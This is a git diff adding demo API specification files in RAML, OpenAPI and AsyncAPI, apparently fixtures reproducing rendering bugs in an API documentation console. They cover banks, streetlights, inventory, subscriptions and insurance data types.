a/demo/apis/APIC-483/schema/response-retrieve-list-bank.json b/demo/apis/APIC-483/schema/response-retrieve-list-bank.json new file mode 100644 index 0000000..8f3d697 --- /dev/null +++ b/demo/apis/APIC-483/schema/response-retrieve-list-bank.json @@ -0,0 +1,68 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "type": "object", + "properties": { + "banks": { + "type": "array", + "items": [ + { + "type": "object", + "properties": { + "id": { + "type": "string", + "description":"Bank/Merchant Id (BIC code)", + "maxLength":35 + }, + "name": { + "type": "string", + "description":"Bank/Merchant Name", + "maxLength":35 + }, + "status": { + "type": "string", + "description":"Bank/Merchant Active/Inactive Status. Can have one of the values 'A'=Active, or 'I'=Inactive)", + "maxLength":35 + }, + "urlList": { + "type": "array", + "items": [ + { + "type": "object", + "properties": { + "urlType": { + "type": "string", + "description":"URL Type. Used where participant may have more than one Redirect URL. Example Corporate and Retail redirect URL 1)RET= Retail 2)COR= Corporate", + "maxLength":3 + }, + "urlValue": { + "type": "string", + "description":"URL Value", + "maxLength":140 + }, + "applicationId": { + "type": "string", + "description":"Bank Application Id", + "maxLength":140 + } + }, + "required": [ + "urlType", + "urlValue" + ] + } + ] + } + }, + "required": [ + "id", + "name", + "urlList" + ] + } + ] + } + }, + "required": [ + "banks" + ] +} \ No newline at end of file diff --git a/demo/apis/APIC-553/APIC-553.raml b/demo/apis/APIC-553/APIC-553.raml new file mode 100644 index 0000000..d1e9b50 --- /dev/null +++ b/demo/apis/APIC-553/APIC-553.raml @@ -0,0 +1,59 @@ +#%RAML 1.0 +baseUri: http://domain.org + +title: Array does not work API +version: 1.0 +mediaType: application/json +description: | + "TypeError: Cannot read property 'split' of undefined" prevents Documentation from being shown. + + After bump of console v6.3.1 in APID, automation fails when navigating to endpoint cmt method GET in the following API + +types: + ORX_ARRAY: + type: array + items: string + minItems: 1 + ORX_STR_WITH_EXAMPLE: + type: string + example: foo + +/cmt: + get: + queryParameters: + orx: + description: List ORX type. + type: ORX_ARRAY + required: true + details: + displayName: details + type: string + required: false + modemCount: + displayName: modemCount + type: string + required: false + responses: + 200: + body: + application/json: +/cmt-with-qp-example: + get: + queryParameters: + orx: + description: ORX type. + type: string + required: true + example: foo + details: + displayName: details + type: string + required: false + modemCount: + displayName: modemCount + type: string + required: false + responses: + 200: + body: + application/json: diff --git a/demo/apis/APIC-560/APIC-560.yaml b/demo/apis/APIC-560/APIC-560.yaml new file mode 100644 index 0000000..98f55da --- /dev/null +++ b/demo/apis/APIC-560/APIC-560.yaml @@ -0,0 +1,203 @@ +asyncapi: 2.0.0 +info: + title: Streetlights API + version: '1.0.0' + description: | + The URL in the operation doc was rendering the URL value outside the URL area. + license: + name: Apache 2.0 + url: https://www.apache.org/licenses/LICENSE-2.0 + +servers: + production: + url: api.streetlights.smartylighting.com:{port} + protocol: mqtt + description: Test broker + variables: + port: + description: Secure connection (TLS) is available through port 8883. + default: '1883' + enum: + - '1883' + - '8883' + security: + - apiKey: [] + - supportedOauthFlows: + - streetlights:on + - streetlights:off + - streetlights:dim + - openIdConnectWellKnown: [] + +defaultContentType: application/json + +channels: + smartylighting/streetlights/1/0/event/{streetlightId}/lighting/measured: + description: The topic on which measured values may be produced and consumed. + parameters: + streetlightId: + $ref: '#/components/parameters/streetlightId' + subscribe: + summary: Receive information about environmental lighting conditions of a particular streetlight. + operationId: receiveLightMeasurement + traits: + - $ref: '#/components/operationTraits/kafka' + message: + $ref: '#/components/messages/lightMeasured' + + smartylighting/streetlights/1/0/action/{streetlightId}/turn/on: + parameters: + streetlightId: + $ref: '#/components/parameters/streetlightId' + publish: + operationId: turnOn + traits: + - $ref: '#/components/operationTraits/kafka' + message: + $ref: '#/components/messages/turnOnOff' + + smartylighting/streetlights/1/0/action/{streetlightId}/turn/off: + parameters: + streetlightId: + $ref: '#/components/parameters/streetlightId' + publish: + operationId: turnOff + traits: + - $ref: '#/components/operationTraits/kafka' + message: + $ref: '#/components/messages/turnOnOff' + + smartylighting/streetlights/1/0/action/{streetlightId}/dim: + parameters: + streetlightId: + $ref: '#/components/parameters/streetlightId' + publish: + operationId: dimLight + traits: + - $ref: '#/components/operationTraits/kafka' + message: + $ref: '#/components/messages/dimLight' + +components: + messages: + lightMeasured: + name: lightMeasured + title: Light measured + summary: Inform about environmental lighting conditions for a particular streetlight. + contentType: application/json + traits: + - $ref: '#/components/messageTraits/commonHeaders' + payload: + $ref: "#/components/schemas/lightMeasuredPayload" + turnOnOff: + name: turnOnOff + title: Turn on/off + summary: Command a particular streetlight to turn the lights on or off. + traits: + - $ref: '#/components/messageTraits/commonHeaders' + payload: + $ref: "#/components/schemas/turnOnOffPayload" + dimLight: + name: dimLight + title: Dim light + summary: Command a particular streetlight to dim the lights. + traits: + - $ref: '#/components/messageTraits/commonHeaders' + payload: + $ref: "#/components/schemas/dimLightPayload" + + schemas: + lightMeasuredPayload: + type: object + properties: + lumens: + type: integer + minimum: 0 + description: Light intensity measured in lumens. + sentAt: + $ref: "#/components/schemas/sentAt" + turnOnOffPayload: + type: object + properties: + command: + type: string + enum: + - on + - off + description: Whether to turn on or off the light. + sentAt: + $ref: "#/components/schemas/sentAt" + dimLightPayload: + type: object + properties: + percentage: + type: integer + description: Percentage to which the light should be dimmed to. + minimum: 0 + maximum: 100 + sentAt: + $ref: "#/components/schemas/sentAt" + sentAt: + type: string + format: date-time + description: Date and time when the message was sent. + + securitySchemes: + apiKey: + type: apiKey + in: user + description: Provide your API key as the user and leave the password empty. + supportedOauthFlows: + type: oauth2 + description: Flows to support OAuth 2.0 + flows: + implicit: + authorizationUrl: 'https://authserver.example/auth' + scopes: + 'streetlights:on': Ability to switch lights on + 'streetlights:off': Ability to switch lights off + 'streetlights:dim': Ability to dim the lights + password: + tokenUrl: 'https://authserver.example/token' + scopes: + 'streetlights:on': Ability to switch lights on + 'streetlights:off': Ability to switch lights off + 'streetlights:dim': Ability to dim the lights + clientCredentials: + tokenUrl: 'https://authserver.example/token' + scopes: + 'streetlights:on': Ability to switch lights on + 'streetlights:off': Ability to switch lights off + 'streetlights:dim': Ability to dim the lights + authorizationCode: + authorizationUrl: 'https://authserver.example/auth' + tokenUrl: 'https://authserver.example/token' + refreshUrl: 'https://authserver.example/refresh' + scopes: + 'streetlights:on': Ability to switch lights on + 'streetlights:off': Ability to switch lights off + 'streetlights:dim': Ability to dim the lights + openIdConnectWellKnown: + type: openIdConnect + openIdConnectUrl: 'https://authserver.example/.well-known' + + parameters: + streetlightId: + description: The ID of the streetlight. + schema: + type: string + + messageTraits: + commonHeaders: + headers: + type: object + properties: + my-app-header: + type: integer + minimum: 0 + maximum: 100 + + operationTraits: + kafka: + bindings: + kafka: + clientId: my-app-id diff --git a/demo/apis/APIC-582/APIC-582.yaml b/demo/apis/APIC-582/APIC-582.yaml new file mode 100644 index 0000000..6ee399a --- /dev/null +++ b/demo/apis/APIC-582/APIC-582.yaml @@ -0,0 +1,23 @@ +asyncapi: 2.0.0 +info: + title: Account service + version: 1.0.0 + description: The response body was not rendered as defined in the spec. +channels: + user/signedup: + subscribe: + message: + $ref: '#/components/messages/UserSignedUp' +components: + messages: + UserSignedUp: + payload: + type: object + properties: + displayName: + type: string + description: Name of the user + email: + type: string + format: email + description: Email of user diff --git a/demo/apis/APIC-631/APIC-631.raml b/demo/apis/APIC-631/APIC-631.raml new file mode 100644 index 0000000..7c9a8a2 --- /dev/null +++ b/demo/apis/APIC-631/APIC-631.raml @@ -0,0 +1,20 @@ +#%RAML 1.0 +title: APIC-631 + + +types: + test1: + properties: + names1: string[] | nil + test2: + type: string[] | nil + test3: + type: string[] + test4: + properties: + names1: string[] + test5: + type: string[] + test8: + properties: + names8: number[] \ No newline at end of file diff --git a/demo/apis/APIC-641/APIC-641.yaml b/demo/apis/APIC-641/APIC-641.yaml new file mode 100644 index 0000000..6195187 --- /dev/null +++ b/demo/apis/APIC-641/APIC-641.yaml @@ -0,0 +1,26 @@ +openapi: '3.0.2' +info: + title: 'profiles' + description: > + Provides `profiles` domain services of the **Client Data Platform**. + version: '2.0.1' + contact: + name: Client Data Platform Platform & Support + email: CDP_Services_Support@capgroup.com + url: https://cg-itg.slack.com/archives/C018M7FCSMS/p1602588312007200 +servers: + - url: https://api.aws-west-prd.capgroup.com/cdp-proxy/profiles + description: MuleSoft PROD + - url: https://api.aws-west-snp.capgroup.com/cdp-proxy-e2e/profiles + description: MuleSoft UAT (for enterprise consumers) + - url: https://api.aws-west-oz.capgroup.com/cdp-proxy-ite2/profiles + description: MuleSoft QA (for enterprise consumers) + - url: https://api.aws-west-oz.capgroup.com/cdp-proxy-dev2/profiles +paths: + /parties/v1/{partyId}: + summary: Represents a client of Capital Group + description: > + Provides details about Capital Group clients including name, address and other information + get: + operationId: getPartyById + summary: Gets the specific parties in the system. \ No newline at end of file diff --git a/demo/apis/APIC-649/APIC-649.yaml b/demo/apis/APIC-649/APIC-649.yaml new file mode 100644 index 0000000..6c14365 --- /dev/null +++ b/demo/apis/APIC-649/APIC-649.yaml @@ -0,0 +1,118 @@ +openapi: "3.0.0" + +info: + description: This is a simple API + version: "1.0.0" + title: Simple Inventory API + contact: + email: you@your-company.com + license: + name: Apache 2.0 + url: 'http://www.apache.org/licenses/LICENSE-2.0.html' +tags: + - name: admins + description: Secured Admin-only calls + - name: developers + description: Operations available to regular developers +paths: + /inventory: + get: + tags: + - developers + summary: searches inventory + operationId: searchInventory + description: | + By passing in the appropriate options, you can search for + available inventory in the system + parameters: + - in: query + name: searchString + description: pass an optional search string for looking up inventory + required: false + schema: + type: string + - in: query + name: skip + description: number of records to skip for pagination + schema: + type: integer + format: int32 + minimum: 0 + - in: query + name: limit + description: maximum number of records to return + schema: + type: integer + format: int32 + minimum: 0 + maximum: 50 + responses: + '200': + description: search results matching criteria + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/InventoryItem' + '400': + description: bad input parameter + post: + tags: + - admins + summary: adds an inventory item + operationId: addInventory + description: Adds an item to the system + responses: + '201': + description: item created + '400': + description: 'invalid input, object invalid' + '409': + description: an existing item already exists + requestBody: + content: + application/json: + schema: + $ref: '#/components/schemas/InventoryItem' + description: Inventory item to add +components: + schemas: + InventoryItem: + type: object + required: + - id + - name + - manufacturer + - releaseDate + properties: + id: + type: string + format: uuid + example: d290f1ee-6c54-4b01-90e6-d701748f0851 + name: + type: string + example: Widget Adapter + releaseDate: + type: string + format: date-time + example: '2016-08-29T09:12:33.001Z' + manufacturer: + $ref: '#/components/schemas/Manufacturer' + Manufacturer: + required: + - name + properties: + name: + type: string + example: ACME Corporation + deprecated: true + homePage: + type: string + format: url + example: 'https://www.acme-corp.com' + phone: + type: string + example: 408-867-5309 + deprecated: true + type: object \ No newline at end of file diff --git a/demo/apis/APIC-650/APIC-650.yaml b/demo/apis/APIC-650/APIC-650.yaml new file mode 100644 index 0000000..e345f59 --- /dev/null +++ b/demo/apis/APIC-650/APIC-650.yaml @@ -0,0 +1,24 @@ +openapi: "3.0.0" +info: + version: v1 + title: test-api-spec-for-support-case + description: When going back and forth between the endpoints defined in the attached spec, the generated example for URI Parameters is not populated correctly, it belongs to the other endpoint. + +paths: + /testEndpoint1/{uriParam1}: + get: + parameters: + - $ref: "common-parameters.yaml#/components/parameters/UriParam1" + description: Test endpoint 1. + responses: + '200': + description: When going back and forth between the endpoints defined in the attached spec, the generated example for URI Parameters is not populated correctly, it belongs to the other endpoint. + + /testEndpoint2/{uriParam2}: + get: + parameters: + - $ref: "common-parameters.yaml#/components/parameters/UriParam2" + description: Test endpoint 2. + responses: + '200': + description: When going back and forth between the endpoints defined in the attached spec, the generated example for URI Parameters is not populated correctly, it belongs to the other endpoint. diff --git a/demo/apis/APIC-650/common-parameters.yaml b/demo/apis/APIC-650/common-parameters.yaml new file mode 100644 index 0000000..eb80f07 --- /dev/null +++ b/demo/apis/APIC-650/common-parameters.yaml @@ -0,0 +1,23 @@ +openapi: "3.0.0" +info: + version: 1.0.0 + title: common-parameters +paths: {} +components: + parameters: + UriParam1: + name: uriParam1 + in: path + description: uri param for testEndpoint 1 + required: true + schema: + type: string + example: "uriParam1Example" + UriParam2: + name: uriParam2 + in: path + description: uri param for testEndpoint 2 + required: true + schema: + type: string + example: "uriParam2Example" \ No newline at end of file diff --git a/demo/apis/APIC-667/APIC-667.raml b/demo/apis/APIC-667/APIC-667.raml new file mode 100644 index 0000000..a4abcc3 --- /dev/null +++ b/demo/apis/APIC-667/APIC-667.raml @@ -0,0 +1,30 @@ +#%RAML 1.0 +title: RamlLibraryTypeShowsMediaType + +version: v1 +mediaType: [ application/json, application/xml ] + +types: + aNumberType: + description: a description + type: number + +/{uriparam}: + description: Example for 00293053 + uriParameters: + uriparam: + type: aNumberType + example: 123 + required: true + get: + description: a method Description + queryParameters: + qp: + type: string + description: a query param Description + example: atextexample + required: false + responses: + 200: + body: + application/json: diff --git a/demo/apis/APIC-671/APIC-671.yaml b/demo/apis/APIC-671/APIC-671.yaml new file mode 100644 index 0000000..878da2c --- /dev/null +++ b/demo/apis/APIC-671/APIC-671.yaml @@ -0,0 +1,387 @@ +openapi: 3.0.1 +info: + title: Subscriptions + description: "Manage a customer's subscription and retrieve their subscription history and information.\n + + Use the provided API to enroll an end-user into a subscription plan, manage their payment method and subscription lifecycle.\n + + **Onboarding**\n + + If you wish to enroll an end-user into an existing subscrtipion program, there is no additional onboarding needed; simply start using these APIs.\n + + If you wish to enroll an end-user into a new subscription program outside of Price Match (BPme US), Coffee Club (BPme UK) or Daily Coffee (ampm), please contact the subscritpion team. At the moment consumers are not able to self-service to create new subscription plans.\n + + **Right to be forgotten & refunds**\n + + Administrative features are currently only accessible by the subscription team. For requests such as to carry out a user's right to be forgotten or issuing refunds, please contact the subscription team.\n + + + **Payment method & integration with the user's stored wallet**\n + + The subscritpion service _is not integrated_ with bp wallet at this time. Consumers will need to integrate directly with Braintree to capture the card used for the subscription payments.\n + + _Note: Consumers web interfaces may need to be PCI compliant_ \n + + **Interacting with API**\n + + _User_\n + + For retrieving information about a user's subscribscriptions - both current and past.\n + + _Subscriptions_\n + + For enrolling a user in a subsription plan, canceling an existing subscrption, or retrieve a user's payment method information and update a user's payment method.\n + + + **Contact information**\n + + Product owner: Eric Doornbos (eric.doornbos@bp.com)\n + + Architect: Protik Majumdar (protik.majumdar@bp.com)\n + + For developer support, reach the team via our slack channel: [#global-subscriptions-devs](https://bp-dcm-b2c.slack.com/archives/C01738X00PN)\n + + For feature requests or onboarding a new subscription program, please reach out to Eric.\n + + " + contact: + name: "the subscription team" + email: this-dl-does-not-exist@bp.com + version: 1.0.0 +externalDocs: + description: Find out more about subscriptions + url: https://bp-vsts.visualstudio.com/BPme/_wiki/wikis/BPme.wiki/31322/Global-Subscriptions +servers: +- url: http://localhost:8080 +- url: https://dev-subscriptions.bpglobal.com +- url: https://qa-subscriptions.bpglobal.com +security: + - UserJWT: [] +tags: +- name: user + description: Subscription information by user + externalDocs: + description: Find out more + url: http://swagger.io +- name: subscriptions + description: Enroll or manage subscription details +paths: + /user/subscriptions: + get: + tags: + - "user" + summary: "Get all subscription for the user" + description: "Returns the list of subscriptions, past and present, for that user. Only subscriptions under the provided loyalty program will be returned." + parameters: + - name: "x-loyalty-program" + in: header + schema: + $ref: "#/components/schemas/LoyaltyProgram" + responses: + '200': + description: "Successfully retrieved the subscriber's past subscriptions" + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/Subscription' + '404': + description: "The user was never a subscriber and has no subscriptions" + content: {} + '400': + description: "The request contains invalid parameters. Please ensure that the loyalty program plan name is correct." + content: + application/json: + schema: + type: object + properties: + error: + type: string + description: The error description + example: "X-LOYALTY-PROGRAM: my-fake-program is not a valid program" + '401': + description: "The request is missing authorization details. Please check to see if the end user JWT is provided in the header." + content: {} + '403': + description: "The request has a malformed or expired end user JWT." + content: {} + /subscriptions: + post: + summary: "Enroll the user to a subscription plan" + description: "Note:\n + + Only credit and debit cards are valid payment methods for a subscription. Prepaid cards, Apple Pay and Google Wallet are not currently accepted.\n + + Payment methods are not integrated with BP Wallet; consumers must generate the nonce (one-time use tokens) through Braintree." + tags: + - subscriptions + parameters: + - name: "x-loyalty-program" + in: header + schema: + $ref: "#/components/schemas/LoyaltyProgram" + requestBody: + content: + application/json: + schema: + type: object + properties: + selectedPlan: + type: string + description: The plan to enroll in. For UK Coffee Club subscriptions, please use 'HotDrinks' + enum: + - PriceMatch + - CoffeeSubscription + - HotDrinks + nonce: + type: string + description: The one time use token issued by Braintree for the payment method. + example: "fake-valid-nonce" + responses: + '201': + description: "Subscriber successfully enrolled" + '400': + description: "The requests is invalid due to missing or incorrect inputs." + content: + application/json: + schema: + type: object + properties: + error: + type: string + description: The error description + examples: + Bad loyalty program: + value: { error: "X-LOYALTY-PROGRAM: my-unicorn-program is not a valid program" } + Bad subscription plan: + value: { error: "Selected Plan: my-unicorn-plan is not a valid plan" } + '403': + description: "Attempted to complete an action that is not allowed.\n + + Please check to see if the the supplied end-user JWT is valid, or if the the enrolled subscription plan is under the specified loyalty program." + content: + application/json: + schema: + type: object + properties: + error: + type: string + description: The error description + examples: + Invalid JWT: + value: {} + Mismatch between selected plan and loyalty program: + value: { error: "Selected Plan: CoffeeSubscription is not part of the users loyalty program" } + User already enrolled to another program: + value: { error: "User already has an active subscription in the specified loyalty program" } + '409': + description: "There was a conflict enrolling the user; the user is already enrolled to the selected plan" + content: + application/json: + schema: + type: object + properties: + error: + type: string + description: The error description + example: "User is already enrolled in the requested subscription" + /subscriptions/{subscriptionId}/payment: + parameters: + - name: subscriptionId + in: path + description: Subscription id to retrieve payment information fo + required: true + schema: + type: string + format: uuid + - name: "x-loyalty-program" + in: header + schema: + $ref: "#/components/schemas/LoyaltyProgram" + get: + summary: "Retrieve the payment details for a subscription" + description: "Returns the card information for the subscription." + tags: + - subscriptions + responses: + '200': + description: "Successfully retrieved the payment detail" + content: + application/json: + schema: + type: object + properties: + cardType: + type: string + description: "The credit card type" + example: Visa + expirationDate: + type: string + example: 07/21 + description: "The expiration date of the credit card" + lastFourDigits: + type: string + example: "1134" + description: "The last 4 digits on the credit card" + '404': + description: "The subscription cannot be found" + '401': + description: "The request is missing the authorization key" + content: {} + '403': + description: "The request has a malformed or expired authorization key" + content: {} + '500': + description: "An unknown exception has occured; consumer should contact the subscription team to resolve this." + put: + summary: "Update the card to use subscription recurring charges." + description: "New payment method will be effective immediately. \n + + If a user's account is past due, it will be charged immediately. Otherwise, the card will be charged on the next billing date. Only the payment methods types allowed during enrollment is allowed when updating payment methods." + tags: + - subscriptions + requestBody: + content: + application/json: + schema: + type: object + properties: + nonce: + type: string + description: The one time use token issued by Braintree for the new payment method + examples: + With a valid token: + value: + nonce: "fake-valid-nonce" + With a bad token: + value: + nonce: "fake-processor-declined-visa-nonce" + responses: + '200': + description: "Successfully updated payment method for subcription" + content: {} + '400': + description: "The supplied nonce for the payment method is invalid" + content: + application/json: + schema: + type: object + properties: + errors: + description: "List of error descriptions" + type: array + items: + type: string + example: "Payment method failed to be verified." + '404': + description: "The subscription cannot be found" + '401': + description: "The request is missing the authorization key" + content: {} + '403': + description: "The request has a malformed or expired authorization key" + content: {} + '500': + description: "An unknown exception has occured; consumer should contact the subscription team to resolve this." +components: + schemas: + Subscription: + type: object + properties: + cardNumber: + type: string + example: "1123" + description: The last 4 digits of credit card used for the recurring payment + expirationDate: + type: string + example: "07/2021" + description: The expiration month and year of the card used for the curring payment + renewalDate: + type: string + format: date + description: The next date for which the subscription will be renewed/charged its monthly fee. + billingPeriodStartDate: + type: string + format: date | "Invalid date" + example: "2021-05-08" + description: The charge date in the current subscription billing cycle. If the subscription has never been charged (i.e. within its trial period), then the value will be "Invalid date". + planName: + type: string + description: The name of the subscription plan + enum: + - Price Match + - Coffee + - Hot Drinks + planPrice: + type: string + format: money + description: The fee charged on the recurring schedule + example: "0.99" + createdAt: + type: string + format: date-time + example: "2021-05-08T20:29:03.919Z" + subscriptionId: + type: string + format: uuid + description: The id for the subscription + state: + oneOf: + - type: object + description: "An active subscription" + properties: + status: + type: "string" + example: "active" + - type: object + description: "A past due subscription. The subscription failed to be renewed but is still within the 3 day grace period (inclusive of the renewal date) where there will be daily attempts to charge for the subscription fee." + properties: + status: + type: "string" + example: "pastdue" + - type: object + description: "A canceled subscription. The subscription has gone past the last paid through date." + properties: + status: + type: "string" + example: "canceled" + cancellationReason: + description: "MEMBER_INITIATED: if the member initiated the cancellation voluntarily. PAYMENT_FAILURE: if all attempts at charging the subscription for renewal failed and the subscription is automatically canceled as a result." + type: string + enum: + - "MEMBER_INITIATED" + - "PAYMENT_FAILURE" + endDate: + type: string + format: date + description: "The last date for which the subscription has been paid through." + example: "2021-08-01" + - type: object + description: "A subscription that has been canceled, but still within its paid through period. Only subscriptions canceled by the subscriber voluntarily will be in residual states." + properties: + status: + type: "string" + example: "residual" + cancellationReason: + type: string + enum: + - "MEMBER_INITIATED" + endDate: + type: string + format: date + description: "The last date for which the subscription has been paid through; the member will continue to receive the paid for services until, and including, this date." + example: "2021-08-01" + LoyaltyProgram: + description: "The loyalty program the subscription is under" + type: string + enum: + - bpme-us + - bpme-uk + - ampm + securitySchemes: + UserJWT: + description: "The end user JWT issued by Salesforce for the user session." + type: apiKey + in: header + name: x-user-authorization \ No newline at end of file diff --git a/demo/APIC-711/APIC-711.raml b/demo/apis/APIC-711/APIC-711.raml similarity index 100% rename from demo/APIC-711/APIC-711.raml rename to demo/apis/APIC-711/APIC-711.raml diff --git a/demo/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json b/demo/apis/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json similarity index 100% rename from demo/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json rename to demo/apis/SE-10469/Purchase-Order-oagis-id-dd32f9c6c01048a19e15c423c9c741ae.json diff --git a/demo/SE-10469/SE-10469.raml b/demo/apis/SE-10469/SE-10469.raml similarity index 100% rename from demo/SE-10469/SE-10469.raml rename to demo/apis/SE-10469/SE-10469.raml diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml new file mode 100644 index 0000000..2c63f0e --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml @@ -0,0 +1,126 @@ +#%RAML 1.0 DataType + +uses: + lib: ../libraries/library-context-and-preference.raml + base-lib: ../libraries/library-base.raml + +displayName: Address +description: Used to express the values of a US address, but can also be used for non-US addresses + +type: [lib.preferable, lib.contextual, base-lib.base] +additionalProperties: false + +properties: + line1: + displayName: Address Line 1 + required: false + type: string + minLength: 0 + maxLength: 64 + description: The street name part of the address + example: 156 Trentini Ave + line2: + displayName: Address Line 2 + required: false + type: string + minLength: 0 + maxLength: 64 + description: The additional street name part of the address + example: Suite 101 + line3: + displayName: Address Line 3 + required: false + type: string + minLength: 0 + maxLength: 64 + description: For Attn to a specific person in an organization + example: "Attn: John Doe" + line4: + displayName: Address Line 4 + required: false + type: string + minLength: 0 + maxLength: 64 + description: Any additional information that does not fit the above three lines can be inserted here + city: + displayName: City + required: false + type: string + description: The city name part of the address + example: Atlanta + county: + displayName: County + required: false + type: string + description: Rarely used county name within a US state + example: Fulton + state-region-code: + displayName: State or Region Code + description: In countries such as the USA which has states, this field holds the code of the state. Otherwise, it holds the code of a region or province + required: false + type: string + examples: + state-example: GA + region-example: MBR + state-region-name: + displayName: State or Region Name + description: In countries such as the USA which has states, this field holds the full name of the state. Otherwise, it holds the full name of a region or province + required: false + type: string + examples: + state-example: Georgia + region-example: Marmara Bolgesi + country: + displayName: Country + description: The name of the country. It can be abbreviated or full. + required: false + type: string + example: U.S.A. + postal-code: + displayName: Primary Postal Code + required: false + type: string + description: Most country addresses use a primary postal code. In the U.S. the primary postal code is the first 5 digits of the zip code. + example: "12345" + additional-postal-code: + displayName: Additional Postal Code + required: false + type: string + description: In some countries which use a primary postal may also include an additional postal code. In the U.S. the additional postal code is the last 4 digits of the 9 digit full postal code. Most people only know their primary postal code. However, post offices can use these additional postal codes to increase efficiencies and reduce costs. + example: "1234" + validity: + displayName: Address Validity + required: false + enum: + - Unknown + - Valid + - Invalid + description: | + An address can be validated against a service to confirm its existence and its format. This field shows either the address has been validated or not, and if validated what the result is. + Unknown: We do not know if the address has been validated or not + Valid: The address has been validated and the result came back as a valid address + Invalid: The validation process returned a negative result and the address is NOT valid, meaning it either does not exist or is not formatted correctly and it should not be used until fixed. +examples: + us-address-example: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + canada-address-example: + context: office + line1: 2701 Riverside Dr + line2: Suite No813 + city: Ottowa + state-region-code: ON + country: Canada + postal-code: "K1A 0B1" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml new file mode 100644 index 0000000..2c04171 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml @@ -0,0 +1,31 @@ +#%RAML 1.0 DataType + +uses: + prop-lib: ../libraries/library-property.raml + +displayName: Base DataType +description: Base data type is used as the super type of most business data types. Base has properties that all business entities commonly have. + +type: object +additionalProperties: false + +properties: + additional-properties: + displayName: Additional Properties + description: When a data type is defined for various reasons it may be missing some properties. This array of property objects keeps track of the missed properties + required: false + type: prop-lib.properties + +example: + additional-properties: + - order: 1 + name: forgotten-property + value: value + type: string + - name: forgotten-number-array + is-array: true + delimiter: "," + value: 1,3,4,5,6 + type: integer + + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml new file mode 100644 index 0000000..cb7fa37 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml @@ -0,0 +1,42 @@ +#%RAML 1.0 DataType + +displayName: Basic Question Set +description: Basic question set contains 6 questions (what, when, where, who, why and how) that are asked for any event to gather information about the event. + +properties: + what: + displayName: What + description: answers what has happened + required: false + type: string + example: Created + when: + displayName: When + description: answers when it has happened. Always in Zulu(GMT) time in ISO 8601 format yyyy-MM-ddThh:mm:ss.sssZ + required: false + type: datetime + example: 2018-09-12T15:10:19.123Z + where: + displayName: Where + description: answers where it has happened. Usually location or locations + required: false + type: string + example: \\pcnsdnca02a\folder1 + who: + displayName: Who + description: answers who has done it. Usually name or names + required: false + type: string + example: AFLHQ\e99999 + why: + displayName: Why + description: answers why it has been done. Usually reason or reasons + required: false + type: string + example: new file + how: + displayName: How + description: answers how it has been done. Usually mean or means + required: false + type: string + example: Microsoft Word diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml new file mode 100644 index 0000000..1b3578b --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml @@ -0,0 +1,36 @@ +#%RAML 1.0 DataType + +displayName: Code Description +description: Used to explain the meaning of a code, with short and long descriptions + +type: object +additionalProperties: true + +properties: + context: + required: false + type: string + displayName: Context + description: a name that represents to whom the code belongs such as the name of a system or software component or under which context it has been created such as an error condition. Use kebab-case for multi words. + example: experienceAPI-for-datacap-claim-app + code: + required: false + type: string + displayName: Code + description: a code that represent a specific condition + short-description: + required: false + type: string + displayName: Short Description + description: a short description of the code + long-description: + required: false + type: string + displayName: Long Description + description: a long description of the code which may include instruction what actions to take under certain conditions. + +example: + context: error + code: 3001A + short-description: Connection Timeout + long-description: The allowed time to acquire a database connection has elapsed. Contact database administrator for TRX_DB on server SCSSOASQL01. \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml new file mode 100644 index 0000000..4d33632 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml @@ -0,0 +1,24 @@ +#%RAML 1.0 DataType + +displayName: Origination Point +description: Information regarding the run-time and design-time location of the code. When an event occurs in the code, an error or log entry can use this data type to communicate the exact location of the event in the code and the execution environment. + +type: object + +properties: + node: + type: string + description: the specific instance name of a container, server, machine etc + required: false + component: + type: string + description: the name of the software component, api, service, program, class etc. + required: false + method: + type: string + description: the section name of the code in the software component, method, operation, function, subroutine, etc. + required: false + line: + type: string + description: the line number of the code in that code unit. + required: false diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml new file mode 100644 index 0000000..f082ce5 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml @@ -0,0 +1,69 @@ +#%RAML 1.0 DataType + +uses: + language-lib: ../libraries/library-language.raml + address-lib: ../libraries/library-address.raml + phone-lib: ../libraries/library-phone.raml + email-lib: ../libraries/library-email.raml + 